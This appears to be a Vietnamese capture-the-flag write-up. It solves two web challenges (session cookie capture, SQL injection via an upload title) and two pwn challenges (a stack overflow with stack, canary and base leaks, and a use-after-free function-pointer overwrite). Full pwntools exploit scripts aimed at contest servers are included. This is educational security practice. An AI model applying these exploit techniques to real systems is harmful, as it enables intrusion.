Cảm nhận đầu tiên: Panic + đề hơi khoai so với dự tính trước khi em làm :))
Web01-flag1
Đây là chức năng chính của đoạn code
Copy @app.route("/freeflag")
def index():
segcret = request.args.get("segcret", None)
if segcret is None:
return "Please provide a secret key!"
session["flag"] = FLAG1
if segcret == app.config["SECRET_KEY"]:
return session["flag"]
else:
return "Incorrect secret key!"
Trong route này nó đang cố lấy parameter segcret
tại /freeflag
nếu không nó sẽ trả về "Please...key!"
Vậy nên để query đến URL: /freeflag?segcret=xxx
Pass được điều kiện đầu tiên thì ta có thể bắt được session đó qua burp suite
Đây là khi ta truy cập thử thì thấy cookie có trường session = ...
Done:
Web01-flag3
Đây là chức năng của nó
Copy @app.route("/upload-meme", methods=["POST"])
def upload_meme():
meme = request.files.get("meme", None)
title = request.form.get("title", None)
if meme is None or title is None:
return "Please provide a meme and title!", 400
filename = meme.filename
if ".." in filename or "/" in filename:
# I gave you a chance to upload a meme, but you tried to do something else
filename = f"{uuid.uuid4()}.png"
id=str(uuid.uuid4())
meme.save(f"./meme/{filename}")
res = db.add_meme(title, filename, id)
if res == True:
return redirect(url_for("meme", id=id))
else:
return f"Failed to upload meme!\n{res}", 500
Url này chỉ chấp nhận khi bạn request với method Post, vậy nên phải tương tác bằng burpsuite. Ở đây mình có hỏi GPT gen ra cho mình 1 đoạn payload nhỏ nhỏ tựa như Request trên BurpSuite
Send Request ta nhận được 1 meme với id là: a7858de1-3543-476e-b79b-b9cf0d818479
Trong file db.py, có 1 chức năng xử lí phần add_meme:
Copy def add_meme(title: str, filename: str, id):
try:
conn = sqlite3.connect("database.db")
c = conn.cursor()
c.execute(
f"""INSERT INTO memes (id, title, filename) VALUES ("{id}", "{title}", "{filename}")"""
)
conn.commit()
conn.close()
return True
except Exception as e:
return str(e)
Đoạn c.execute xuất hiện vuln sqli. Trong đoạn code ta có thể control được title và filename như filename đã bị filter bởi các kí tự ..
và /
Copy filename = meme.filename
if ".." in filename or "/" in filename:
# I gave you a chance to upload a meme, but you tried to do something else
filename = f"{uuid.uuid4()}.png"
Thì ta sẽ tập trung vào title
:
Bây giờ mình sẽ vô hiệu hóa trường filename đằng sau và thêm trường filename từ title:
Done:
Pwn01
Bài này full protector nên mình phải tìm được điểm leak địa chỉ của chương trình:
Do chương trình hơi dài nên mình cũng cắt nhỏ từng phần như sau:
Đây là cấu trúc của Note
Copy typedef struct Note{
int id;
char owner[20];
char *date;
char *state;
char *message;
struct Note *next;
} Note;
int id;
Note *head;
Cần chú ý nhất đó là hàm UpdateNote:
Copy #define MAX_MESSAGE 200
[...]
char buffer[30];
Note *tmp;
if(head == NULL)
return ERROR_INVALID_HEAD;
printf("Enter note ID :");
update_id = getInt();
if(update_id == -1)
return ERROR_INVALID_ID;
for(tmp = head;tmp && tmp->id != update_id;tmp = tmp->next);
if(tmp == NULL || tmp->id != update_id) return ERROR_INVALID_ID;
// update options
printf("\nUpdate options: \n1.Update Owner\n2.Update message\n3.Update state\n");
int l = 0;
printf("Your choice :");
char c = getchoice();
switch(c){
case UPDATE_OWNER:
printf("Enter new name owner :");
fgets(buffer,MAX_MESSAGE,stdin);
l = strlen(buffer);
memcpy(&tmp->owner,buffer,l); //Buffer Overflow
break;
case UPDATE_MESSAGE:
printf("Enter new message :");
fgets(buffer,MAX_MESSAGE,stdin);
l = strlen(buffer);
if(tmp->message) free(tmp->message);
tmp->message = malloc(l);
if(tmp->message == NULL){
logErr(ERROR_MALLOC_FAIL);
exit(0);
}
memcpy(tmp->message,buffer,l);
break;
case UPDATE_STATE:
printf("is Done?\n1.Yes\n2.No");
c = getchoice();
if(c == 1) tmp->state = STATE_DONE;
else if(c == 2) tmp->state = STATE_DOING;
break;
default:
break;
}
MAX_MESSAGE
có giá trị là 200 nhưng tmp->owner chí chấp nhận tối đa 20 bytes. Ngoài ra buffer cũng chỉ chấp nhận 30 bytes
Để sử dụng được chức năng của hàm update_note(), bạn cần phải có trước ít nhất 1 note
Copy # Create Note
r.sendlineafter(b"choice", str(1).encode())
r.sendlineafter(b"owner", b"1"*0x20)
r.sendlineafter(b"message", b"1"*0x20)
Copy r.sendlineafter(b"choice", str(2).encode())
r.sendlineafter(b"ID", str(0).encode())
r.sendlineafter(b"choice", str(1).encode())
r.sendlineafter(b"owner" b"B"*(4+8+7))
Nếu bây giờ ta nối chuỗi đến: 0x555555559518 thì ta có thể leak được địa chỉ của
Để làm điều này ta cần 0x20 byte
Nếu view thì ta sẽ được địa chỉ đầu tiên, đó là Stack
Copy # Create Note
r.sendlineafter(b"choice", str(1).encode())
r.sendlineafter(b"owner", b"1"*0x20)
r.sendlineafter(b"message", b"1"*0x20)
r.sendlineafter(b"choice", str(2).encode())
r.sendlineafter(b"ID", str(0).encode())
r.sendlineafter(b"choice", str(1).encode())
r.sendlineafter(b"owner", b"O"*19) # \n is byte 20
# Print Stack Leak
r.sendlineafter(b"choice", str(3).encode())
r.recvuntil(b"OOOOOOO\n")
stack = u64(r.recv(6).ljust(8, b"\x00"))
log.info(f"stack: {hex(stack)}")
Tiếp theo đến leak canary:
Stack Canary lằm tại ví trí: 0x7fffffffe0e8
hơn vị trí stack leak: 312 + 1 (byte null)
Copy typedef struct Note{
int id;
char owner[20];
char *date;
char *state;
char *message;
struct Note *next;
}
Tức ta có thể lợi dụng nguyên lí này để leak ra các giá trị bên trong địa chỉ:
Copy for(tmp = head;tmp;tmp = tmp->next){
puts("===");
printf("ID : %d\n",tmp->id);
printf("Note Owner : %s",tmp->owner);
printf("Note message : %s",tmp->message);
printf("State : %s\n",tmp->state);
printf("Program run at : %s\n",tmp->date);
}
Copy # Leaking Canary
r.sendlineafter(b"choice", str(2).encode())
r.sendlineafter(b"ID", str(0).encode())
r.sendlineafter(b"choice", str(1).encode())
r.sendlineafter(b"owner", b"o"*(20) + p64(stack+313))
r.sendlineafter(b"choice", str(3).encode())
r.recvuntil(b"Program run at : ")
canary = u64(r.recvline()[:7].rjust(8, b"\x00")) << 8
log.info(f"canary: {hex(canary)}")
Tiếp tục làm tương tự với địa chỉ của main:
Copy # Leaking main
r.sendlineafter(b"choice", str(2).encode())
r.sendlineafter(b"ID", str(0).encode())
r.sendlineafter(b"choice", str(1).encode())
r.sendlineafter(b"owner", b"A"*(20) + p64(stack+312+32))
r.sendlineafter(b"choice", str(3).encode())
r.recvuntil(b"Program run at : ")
elf.address = u64(r.recvline()[:6].ljust(8, b"\x00")) - 0x1801
log.info(f"ELF Base: {hex(elf.address)}")
Khi đã có đủ stack, canary, win rồi thì ta có thể sử dụng buffer overflow để hoàn thành nốt thử thách này.
Copy from pwn import *
elf = context.binary = ELF('./warmup')
r = elf.process()
r = remote('103.179.191.29', 9001)
# gdb.attach(r,'''
# b* update_note+307\n
# b* update_note+351\n
# b* main+1040\n
# b* update_note+1800\n
# ''', arch='amd64')
# input()
# Create Note
r.sendlineafter(b"choice", str(1).encode())
r.sendlineafter(b"owner", b"1"*0x20)
r.sendlineafter(b"message", b"1"*0x20)
# Leaking stack
r.sendlineafter(b"choice", str(2).encode())
r.sendlineafter(b"ID", str(0).encode())
r.sendlineafter(b"choice", str(1).encode())
r.sendlineafter(b"owner", b"o"*19) # \n is byte 20
# Print Stack Leak
r.sendlineafter(b"choice", str(3).encode())
r.recvuntil(b"oooooo\n")
stack = u64(r.recv(6).ljust(8, b"\x00"))
log.info(f"stack: {hex(stack)}")
# Leaking Canary
r.sendlineafter(b"choice", str(2).encode())
r.sendlineafter(b"ID", str(0).encode())
r.sendlineafter(b"choice", str(1).encode())
r.sendlineafter(b"owner", b"o"*(20) + p64(stack+313))
r.sendlineafter(b"choice", str(3).encode())
r.recvuntil(b"Program run at : ")
canary = u64(r.recvline()[:7].rjust(8, b"\x00"))
log.info(f"canary: {hex(canary)}")
# Leaking main
r.sendlineafter(b"choice", str(2).encode())
r.sendlineafter(b"ID", str(0).encode())
r.sendlineafter(b"choice", str(1).encode())
r.sendlineafter(b"owner", b"A"*(20) + p64(stack+312+32))
r.sendlineafter(b"choice", str(3).encode())
r.recvuntil(b"Program run at : ")
elf.address = u64(r.recvline()[:6].ljust(8, b"\x00")) - 0x1801
log.info(f"ELF Base: {hex(elf.address)}")
#GetShell
r.sendlineafter(b"choice", str(2).encode())
r.sendlineafter(b"ID", str(0).encode())
r.sendlineafter(b"choice", str(1).encode())
ret = elf.address + 0x101a
win = elf.sym.win
r.sendlineafter(b"owner", b"A"*(0x28) + p64(canary) + b"A" * 0x8 + p64(ret) + p64(win))
r.interactive()
Pwn02
Lỗi: Use-After-Free
Lí do là phần ptr sau không clear khi free:
Có 3 chức năng chính của pwn2 ảnh hưởng đến khai thác:
Copy ptr = (node *)malloc(0x20uLL); //Mem: 0x40148e
size = 0;
printf("Content size :");
__isoc99_scanf("%u", &size);
ptr->addr_nodeId = (__int64)malloc(size); //Mem: 0x4014d5
if ( !ptr->addr_nodeId )
{
puts("Failed to malloc");
exit(0);
}
printf("Enter content :");
read(0, (void *)ptr->addr_nodeId, (unsigned int)size);
ptr->size = size;
ptr->idx = idx++;
for ( m = 0; m <= 0x63; ++m )
{
if ( !list[m] )
{
list[m] = ptr;
break;
}
}
printf("[*]Success! Your node id is :%d\n", (unsigned int)ptr->idx);
break;
Copy printf("Node ID ? :");
temp = 0xFFFFFFFF;
ptr = 0LL;
__isoc99_scanf("%u", &temp);
for ( n = 0; n <= 0x63; ++n )
{
if ( list[n] && list[n]->idx == temp )
{
ptr = list[n];
break;
}
}
if ( !ptr )
{
goto LABEL_x18EC; //Not found
}
printf("New content size: ");
__isoc99_scanf("%u", &temp);
if ( ptr->size >= temp || (ptr->addr_nodeId = (__int64)malloc(temp)) != 0 ) //MEM: 0x4016d2 //BUG
{
printf("Enter new content: ");
read(0, (void *)ptr->addr_nodeId, (unsigned int)temp);
ptr->size = temp;
}
else
{
puts("Failed to malloc");
}
break;
Copy printf("Node ID ? :");
temp = 0xFFFFFFFF;
ptr = 0LL;
__isoc99_scanf("%u", &temp);
for ( k = 0; k <= 0x63; ++k )
{
if ( list[k] && list[k]->idx == temp )
{
ptr = list[k];
}
}
if ( !ptr )
{
goto LABEL_x18EC;
}
free((void *)ptr->addr_nodeId); //Mem: 0x401815
ptr->addr_nodeId = 0LL;
free(ptr); // use-after-free //Mem: 0x40182d
break;
Và ta có win ở đây:
Copy int win()
{
return system("/bin/sh");
}
Attack map: Create --> Create (ngăn heap consolidate) --> Free --> Edit --> Win
Có thể thấy ta có thể edit bao nhiêu tùy thích và nó cũng sẽ malloc cho mình (có kiểm tra size nhưng không đáng kể) :>
Copy size0 = 0x10
idx0 = add(size0, b"A"*size0) # 0
print(f"Added chunk {idx0}")
size1 = 0x10
idx1 = add(size1, b"B"*size1) # 1
print(f"Added chunk {idx1}")
delete(idx0)
print(f"Deleted chunk {idx0}")
size2 = 0x20
edit(idx1, size2, b"111111")
Có thể thấy ta có thể ghi vào con trỏ của "header" của node thứ 1 (idx 0):
Copy printf(
"ID : %d\nContent: %s\nContent size : %d\n", (unsigned int)list2->idx, (const char *)list2->addr_nodeId, (unsigned int)list2->size);
if ( list2->function )
{
((void (*)(void))list2->function)();// BUG
}
Done
Copy from pwn import *
elf = context.binary = ELF("./chall")
r = elf.process()
r = remote('103.179.191.29', 9002)
# gdb.attach(r, gdbscript="""
# b *0x40148e\n
# b *0x4014d5\n
# b *0x4016d2\n
# b *0x401815\n
# b* 0x40182d\n
# c
# """, arch="amd64")
# input()
# # 3 malloc -> 2 free
def add(size, data):
r.sendlineafter(b"choice:", "1")
r.sendlineafter(b"size :", str(size).encode())
r.sendlineafter(b"content :", data)
idx = int(r.recvline(keepends=False).split(b":")[1])
return idx
def edit(idx, size, data):
r.sendlineafter(b"choice:", "2")
r.sendlineafter(b"Node ID ? :", str(idx).encode())
r.sendlineafter(b"size:", str(size).encode())
r.sendafter(b"content: ", data)
def delete(idx):
r.sendlineafter(b"choice:", "3")
r.sendlineafter(b"Node ID ? :", str(idx).encode())
def view(idx): # getshell
r.sendlineafter(b"choice:", "4")
r.sendlineafter(b"Node ID ? :", str(idx).encode())
# No Overflow
# One Use-After-Free
# Khong Double Free
size0 = 0x10
idx0 = add(size0, b"A"*size0) # 0
print(f"Added chunk {idx0}")
size1 = 0x10
idx1 = add(size1, b"B"*size1) # 1
print(f"Added chunk {idx1}")
delete(idx0)
print(f"Deleted chunk {idx0}")
size2 = 0x20
edit(idx1, size2, p64(elf.sym.win))
view(idx0)
r.interactive()